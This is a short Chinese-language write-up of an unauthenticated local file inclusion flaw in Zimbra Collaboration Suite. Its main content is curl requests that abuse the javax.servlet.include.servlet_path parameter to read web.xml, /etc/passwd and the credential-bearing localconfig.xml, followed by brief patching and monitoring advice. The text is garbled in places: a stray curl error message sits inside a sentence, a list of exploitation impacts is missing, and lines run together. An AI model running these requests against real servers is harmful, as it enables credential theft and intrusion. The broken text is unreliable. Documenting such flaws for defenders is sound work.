本文档描述了一个影响 Zimbra Collaboration Suite 的本地文件包含 (LFI) 漏洞。
该问题源于对以下参数的不当处理:
/h/*?javax.servlet.include.servlet_path=
这允许未经身份验证的用户访问内部应用程序资源。
测试请求:
curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
多个端点对易受攻击参数的处理方式不同。
/h/printcalendar?javax.servlet.include.servlet_path=...
/h/rest 相比,响应可靠性更高SSL: certificate subject name does not match target host
curl -k "https://TARGET/..."
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"
curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"
成功利用可能导致:
将 Zimbra 更新至已修补版本
限制对易受攻击端点的访问
监控日志中可疑的参数:
javax.servlet.include.servlet_path部署 WAF 规则以阻止恶意模式